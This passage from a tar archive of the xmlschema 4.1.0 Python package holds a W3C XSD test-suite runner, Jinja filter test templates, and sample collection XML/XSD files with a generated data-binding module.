warnings.catch_warnings(): warnings.simplefilter('ignore') return schema_class( source=item['sources'] or source, use_meta=use_meta, use_fallback=use_fallback, ) for item in filter(lambda x: x['source'].endswith('.xsd'), group_tests): source = item['source'] rel_path = os.path.relpath(source) for version, expected in \ sorted(filter(lambda x: not x[0].startswith('source'), item.items())): if args.lxml and version == '1.0': if expected == 'invalid': with self.assertRaises(lxml_etree.XMLSchemaParseError): schema_tree = lxml_etree.parse(source) lxml_etree.XMLSchema(schema_tree) else: schema_tree = lxml_etree.parse(source) lxml_etree.XMLSchema(schema_tree) continue schema_class = XMLSchema11 if version == '1.1' else XMLSchema10 if expected == 'invalid': message = f"schema {rel_path} should be invalid with XSD " \ f"{version} {self.get_add_info(None, rel_path)}" with self.assertRaises(XMLSchemaException, msg=message): create_schema_instance() else: try: schema = create_schema_instance() except XMLSchemaException as err: schema = None message = \ f"schema {rel_path} should be valid with XSD {version}" \ f", but an error is raised: {self.get_add_info(err, source)}" else: message = None self.assertIsInstance(schema, schema_class, msg=message) @unittest.skipIf( group_tests[0]['source'].endswith('.xsd') and len(group_tests) == 1, 'No instance tests' ) def test_xml_instances(self): if group_tests[0]['source'].endswith('.xsd'): schema = group_tests[0]['source'] schemas = group_tests[0]['sources'] else: schema = None schemas = [] def validate_xml_instance(): with warnings.catch_warnings(): warnings.simplefilter('ignore') if len(schemas) <= 1: validate(source, schema=schema, cls=schema_class, use_meta=use_meta, use_fallback=use_fallback) else: schema_instance = schema_class( source=schemas, use_meta=use_meta, use_fallback=use_fallback ) schema_instance.validate(source) for item in filter(lambda x: not x['source'].endswith('.xsd'), group_tests): source = item['source'] rel_path = os.path.relpath(source) for version, expected in sorted(filter(lambda x: x[0] != 'source', item.items())): schema_class = XMLSchema11 if version == '1.1' else XMLSchema10 if expected == 'invalid': message = f"instance {rel_path} should be invalid with XSD {version}:" \ f"{self.get_add_info(None, *schemas, rel_path)}" with self.assertRaises(XMLSchemaException, msg=message): validate_xml_instance() else: try: self.assertIsNone(validate_xml_instance()) except XMLSchemaException as err: error = f"instance {rel_path} should be valid with XSD " \ f"{version} but an {err.__class__.__name__} is raised" msg = self.get_add_info(err, *schemas, rel_path) self.assertIsNone(error, msg=msg) if not any(g['source'].endswith('.xsd') for g in group_tests): del TestGroupCase.test_xsd_schema if not any(g['source'].endswith('.xml') for g in group_tests): del TestGroupCase.test_xml_instances TestGroupCase.elem = group_elem TestGroupCase.__name__ = TestGroupCase.__qualname__ = str( 'TestGroupCase{:05}_{}'.format(group_num, name.replace('-', '_')) ) return TestGroupCase def w3c_tests_factory(argv=None): import sys if argv is None: argv = sys.argv[1:] def xsd_versions(value): if value not in ('1.0', '1.1', '1.0 1.1', '1.1 1.0'): raise argparse.ArgumentTypeError("%r is not an XSD version string" % value) return value def number_or_interval(value): try: return int(value) except ValueError: if '-' not in value: raise try: start, stop = value.split('-') return [int(start), int(stop)] except ValueError: pass raise def iter_numbers(numbers): for x in numbers: if isinstance(x, int): yield x elif isinstance(x, list) and len(x) == 2: yield from range(x[0], x[1] + 1) parser = argparse.ArgumentParser(prog=__name__, add_help=True) parser.add_argument('-v', '--verbose', default=False, action='store_true') parser.add_argument('--version', dest='version', type=xsd_versions, default='1.0 1.1', help="Run only tests related to a specific XSD version.") parser.add_argument('--xml', default=False, action='store_true', help="Include XML validation tests.") parser.add_argument('--lxml', default=False, action='store_true', help="Use lxml's XMLSchema validator for XSD 1.0 tests.") parser.add_argument('--valid', dest='expected', default=ADMITTED_VALIDITY, const='valid', action='store_const', help="Run only expected 'valid' tests.") parser.add_argument('--invalid', dest='expected', const='invalid', action='store_const', help="Run only expected 'invalid' tests.") parser.add_argument('--unknown', dest='expected', const='indeterminate', action='store_const', help="Run only expected 'indeterminate' tests.") parser.add_argument('numbers', metavar='TEST_NUMBER', type=number_or_interval, nargs='*', help='Runs only specific tests, selected by numbers.') args = parser.parse_args(args=argv) # Clean argv of xmlschema-only arguments sys.argv[:] = [__name__, '-v'] if '-v' in sys.argv else [__name__] args.numbers = [x for x in iter_numbers(args.numbers)] if lxml_etree is None and args.lxml: print("Ignore --lxml option: library lxml is not available ...") args.lxml = False quiet = __name__ == '__main__' index_path = fetch_xsd_test_suite() index_dir = os.path.dirname(index_path) suite_xml = ElementTree.parse(index_path) test_classes = {} testgroup_num = 0 if args.verbose and not quiet: print("\n>>>>> ADD TEST GROUPS FROM TESTSET FILES <<<<<\n") for testset_elem in suite_xml.iter("{%s}testSetRef" % TEST_SUITE_NAMESPACE): href_attr = testset_elem.attrib.get("{%s}href" % XLINK_NAMESPACE, '') testset_file = os.path.join(index_dir, href_attr) testset_groups = 0 testset = ElementTree.parse(testset_file) testset_version = testset.getroot().get('version', '1.0 1.1') if testset_version not in XSD_VERSION_VALUES: if not quiet: msg = "Testset file %r has an invalid version=%r, skip ..." print(msg % (href_attr, testset_version)) continue for testgroup_elem in testset.iter("{%s}testGroup" % TEST_SUITE_NAMESPACE): testgroup_num += 1 testgroup_version = testgroup_elem.get('version', testset_version) if testgroup_version == 'full-xpath-in-CTA': # skip full XPath test for the moment ... if args.verbose and not quiet: print("Skip full XPath test %r ..." % testgroup_elem.get('name')) continue elif testgroup_version not in XSD_VERSION_VALUES: if not quiet: _msg = "Test group %r has an invalid version=%r, skip ..." print(_msg % (testgroup_elem.get('name'), testgroup_version)) continue elif testgroup_version not in testset_version: if args.verbose and not quiet: _msg = "Warning: Test group %r version=%r is not included " \ "in test set version=%r" print(_msg % (testgroup_elem.get('name'), testgroup_version, testset_version)) cls = create_w3c_test_group_case( args=args, filename=testset_file, group_elem=testgroup_elem, group_num=testgroup_num, xsd_version=testgroup_version, ) if cls is not None: test_classes[cls.__name__] = cls testset_groups += 1 if args.verbose and testset_groups and not quiet: print(f"Added {testset_groups} test groups from {href_attr}") if test_classes and not quiet: print("\n+++ Number of classes under test: %d +++" % len(test_classes)) if total_xml_files: print("+++ Number of XSD schemas under test: %d +++" % total_xsd_files) print("+++ Number of XML files under test: %d +++" % total_xml_files) print() if args.verbose and not quiet: print("\n>>>>> RUN TEST GROUPS <<<<<\n") return test_classes if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests globals().update(w3c_tests_factory()) run_xmlschema_tests("running W3C XSD 1.0/1.1 tests") ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016625�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/demo/���������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017551�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/demo/demo_type_filter_test.jinja������������������������������������0000664�0000000�0000000�00000000047�15020401055�0025160�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|demo_type }}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020275�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/name_filter_test.jinja��������������������������������������0000664�0000000�0000000�00000000042�15020401055�0024632�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|name }}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/namespace_filter_test.jinja���������������������������������0000664�0000000�0000000�00000000047�15020401055�0025653�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|namespace }}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/python_type_filter_test.jinja�������������������������������0000664�0000000�0000000�00000000052�15020401055�0026275�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|python_type }} ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/qname_filter_test.jinja�������������������������������������0000664�0000000�0000000�00000000043�15020401055�0025014�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|qname }}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/sort_types_filter_test.jinja��������������������������������0000664�0000000�0000000�00000000127�15020401055�0026131�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{%- for type in ( schema.types|sort_types ) %} {{- type.local_name }} {%- endfor %}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/type_name_filter_test.jinja���������������������������������0000664�0000000�0000000�00000000047�15020401055�0025700�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|type_name }}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/type_qname_filter_test.jinja��������������������������������0000664�0000000�0000000�00000000050�15020401055�0026053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|type_qname }}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/unknown_filter_test.jinja�����������������������������������0000664�0000000�0000000�00000000045�15020401055�0025414�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|unknown }}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/templates/filters/wrong-template.jinja����������������������������������������0000664�0000000�0000000�00000000052�15020401055�0024254�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{{ schema.elements['root']|name }} {{ { }}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016764�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/����������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020602�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/�����������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022735�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection-1_error.xml�������������������������0000664�0000000�0000000�00000001635�15020401055�0027166�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <col:collection xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection.xsd"> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter 10000.00 2.0 <year>1925</year> <author id="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </col:collection> ���������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection-default.xml�������������������������0000664�0000000�0000000�00000001564�15020401055�0027242�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <collection xmlns="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection5.xsd"> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter 10000.00 2 <year>1925</year> <author id="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </collection> ��������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection-redef-xmlns.xml���������������������0000664�0000000�0000000�00000002223�15020401055�0030033�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <col1:collection xmlns:col1="http://example.com/ns/collection" xmlns:col="http://xmlschema.test/ns" xmlns="http://xmlschema.test/ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection5.xsd"> <col:object xmlns:col="http://example.com/ns/collection" id="b0836217462" available="true"> <col:position>1</col:position> <col:title>The Umbrellas</col:title> <col:year>1886</col:year> <col:author id="PAR"> <col:name>Pierre-Auguste Renoir</col:name> <col:born>1841-02-25</col:born> <col:dead>1919-12-03</col:dead> <col:qualification>painter</col:qualification> </col:author> <col:estimation>10000.00</col:estimation> </col:object> <object xmlns="http://example.com/ns/collection" id="b0836217463" available="true"> <position>2</position> <title/> <year>1925</year> <author id="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </col1:collection> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection.py����������������������������������0000664�0000000�0000000�00000001436�15020401055�0025446�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # Auto-generated code: don't edit this file # """ Sample of XML data bindings for schema collection.xsd """ import xmlschema from xmlschema.dataobjects import DataElement, DataBindingMeta __NAMESPACE__ = "http://example.com/ns/collection" schema = xmlschema.XMLSchema11("collection.xsd") class CollectionBinding(DataElement, metaclass=DataBindingMeta): xsd_element = schema.elements['collection'] class PersonBinding(DataElement, metaclass=DataBindingMeta): xsd_element = schema.elements['person'] ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection.xml���������������������������������0000664�0000000�0000000�00000001633�15020401055�0025615�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <col:collection xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection.xsd"> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter 10000.00 2 <year>1925</year> <author id="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </col:collection> �����������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection.xsd���������������������������������0000664�0000000�0000000�00000003077�15020401055�0025617�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://example.com/ns/collection" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/ns/collection"> <xs:element name="collection"> <xs:complexType> <xs:sequence> <xs:element name="object" type="objType" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="person" type="personType"/> <xs:complexType name="personType"> <xs:sequence> <xs:element name="name" type="xs:string"/> <xs:element name="born" type="xs:date"/> <xs:element name="dead" type="xs:date" minOccurs="0"/> <xs:element name="qualification" type="xs:string" minOccurs="0"/> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> </xs:complexType> <xs:complexType name="objType"> <xs:sequence> <xs:element name="position" type="xs:int"/> <xs:element name="title" type="xs:string"/> <xs:element name="year" type="xs:gYear"/> <xs:element name="author" type="personType"/> <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> <xs:element name="characters" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element ref="person" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> <xs:attribute name="available" type="xs:boolean" use="required"/> </xs:complexType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection2.xml��������������������������������0000664�0000000�0000000�00000001655�15020401055�0025703�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <col:collection xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection2.xsd"> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter 10000.00 2 <year>1925</year> <author dn="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </col:collection> �����������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection2.xsd��������������������������������0000664�0000000�0000000�00000003310�15020401055�0025667�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://example.com/ns/collection" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/ns/collection"> <xs:element name="collection"> <xs:complexType> <xs:sequence> <xs:element name="object" type="objType" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <xs:key name="author_key_constraint"> <xs:selector xpath="object/author"/> <xs:field xpath="@dn"/> </xs:key> </xs:element> <xs:element name="person" type="personType"/> <xs:complexType name="personType"> <xs:sequence> <xs:element name="name" type="xs:string"/> <xs:element name="born" type="xs:date"/> <xs:element name="dead" type="xs:date" minOccurs="0"/> <xs:element name="qualification" type="xs:string" minOccurs="0"/> </xs:sequence> <xs:attribute name="dn" type="xs:string" use="required"/> </xs:complexType> <xs:complexType name="objType"> <xs:sequence> <xs:element name="position" type="xs:int"/> <xs:element name="title" type="xs:string"/> <xs:element name="year" type="xs:gYear"/> <xs:element name="author" type="personType"/> <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> <xs:element name="characters" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element ref="person" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> <xs:attribute name="available" type="xs:boolean" use="required"/> </xs:complexType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection3.xml��������������������������������0000664�0000000�0000000�00000001700�15020401055�0025673�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <col:collection xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection3.xsd"> <author dn="PAR"> <name>Pierre-Auguste Renoir</name> <born>1841-02-25</born> <dead>1919-12-03</dead> <qualification>painter</qualification> </author> <author dn="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 PARQ 10000.00 2 <year>1925</year> <author>JM</author> </object> </col:collection> ����������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection3.xsd��������������������������������0000664�0000000�0000000�00000003622�15020401055�0025676�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://example.com/ns/collection" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/ns/collection"> <xs:element name="collection"> <xs:complexType> <xs:sequence> <xs:element name="author" type="personType" maxOccurs="unbounded"/> <xs:element name="object" type="objType" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <xs:keyref name="author_dn_ref" refer="author_dn"> <xs:selector xpath="object"/> <xs:field xpath="author"/> </xs:keyref> <xs:key name="author_dn"> <xs:selector xpath="author"/> <xs:field xpath="@dn"/> </xs:key> </xs:element> <xs:element name="person" type="personType"/> <xs:complexType name="personType"> <xs:sequence> <xs:element name="name" type="xs:string"/> <xs:element name="born" type="xs:date"/> <xs:element name="dead" type="xs:date" minOccurs="0"/> <xs:element name="qualification" type="xs:string" minOccurs="0"/> </xs:sequence> <xs:attribute name="dn" type="xs:string" use="required"/> </xs:complexType> <xs:complexType name="objType"> <xs:sequence> <xs:element name="position" type="xs:int"/> <xs:element name="title" type="xs:string"/> <xs:element name="year" type="xs:gYear"/> <xs:element name="author" type="xs:string"/> <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> <xs:element name="characters" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element ref="person" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> <xs:attribute name="available" type="xs:boolean" use="required"/> </xs:complexType> </xs:schema> ��������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection3bis.xml�����������������������������0000664�0000000�0000000�00000002072�15020401055�0026374�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Invalid because collection3bis.xsd puts the xs:key on single element and the 2nd author overrides the first. --> <col:collection xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection3bis.xsd"> <author dn="PAR"> <name>Pierre-Auguste Renoir</name> <born>1841-02-25</born> <dead>1919-12-03</dead> <qualification>painter</qualification> </author> <author dn="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 PAR 10000.00 2 <year>1925</year> <author>JM</author> </object> </col:collection> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection3bis.xsd�����������������������������0000664�0000000�0000000�00000003673�15020401055�0026402�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://example.com/ns/collection" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/ns/collection"> <xs:element name="collection"> <xs:complexType> <xs:sequence> <xs:element name="author" type="personType" maxOccurs="unbounded"> <xs:key name="author_dn"> <xs:selector xpath="."/> <xs:field xpath="@dn"/> </xs:key> </xs:element> <xs:element name="object" type="objType" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <xs:keyref name="author_dn_ref" refer="author_dn"> <xs:selector xpath="object"/> <xs:field xpath="author"/> </xs:keyref> </xs:element> <xs:element name="person" type="personType"/> <xs:complexType name="personType"> <xs:sequence> <xs:element name="name" type="xs:string"/> <xs:element name="born" type="xs:date"/> <xs:element name="dead" type="xs:date" minOccurs="0"/> <xs:element name="qualification" type="xs:string" minOccurs="0"/> </xs:sequence> <xs:attribute name="dn" type="xs:string" use="required"/> </xs:complexType> <xs:complexType name="objType"> <xs:sequence> <xs:element name="position" type="xs:int"/> <xs:element name="title" type="xs:string"/> <xs:element name="year" type="xs:gYear"/> <xs:element name="author" type="xs:string"/> <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> <xs:element name="characters" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element ref="person" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> <xs:attribute name="available" type="xs:boolean" use="required"/> </xs:complexType> </xs:schema> ���������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection4.xml��������������������������������0000664�0000000�0000000�00000002524�15020401055�0025701�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Header comment --> <col:collection xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/ns/collection collection.xsd"> <!-- First object --> <object id="b0836217462" available="true"> <position>1</position> <title>The Umbrellas 1886 Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter 10000.00 2 <year>1925</year> <!-- Inner comment #7 --> <author id="JM"> <name>Joan MirĂ³</name> <!-- Inner comment #8 --> <born>1893-04-20</born> <dead>1983-12-25</dead> <!-- Inner comment #9 --> <qualification>painter, sculptor and ceramicist</qualification> <!-- Inner comment #10 --> </author> </object> <!-- Last inner comment --> </col:collection> <!-- Last comment --> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection4.xsd��������������������������������0000664�0000000�0000000�00000003317�15020401055�0025700�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Collection schema with XSD namespace bound to more prefixes. --> <xs:schema targetNamespace="http://example.com/ns/collection" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/ns/collection"> <xs:element name="collection"> <xs:complexType> <xs:sequence> <xs:element name="object" type="objType" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="person" type="personType"/> <xs:complexType name="personType"> <xs:sequence xmlns="http://www.w3.org/2001/XMLSchema"> <xs:element name="name" type="string"/> <!-- xs:string --> <xs:element name="born" type="date"/> <!-- xs:date --> <xs:element name="dead" type="xs:date" minOccurs="0"/> <xs:element name="qualification" type="xs:string" minOccurs="0"/> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> </xs:complexType> <xs:complexType name="objType"> <xs:sequence> <xs:element name="position" type="xs:int"/> <xs:element name="title" type="xs:string"/> <xs:element name="year" type="xs:gYear"/> <xs:element name="author" type="personType"/> <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> <xs:element name="characters" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element ref="person" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> 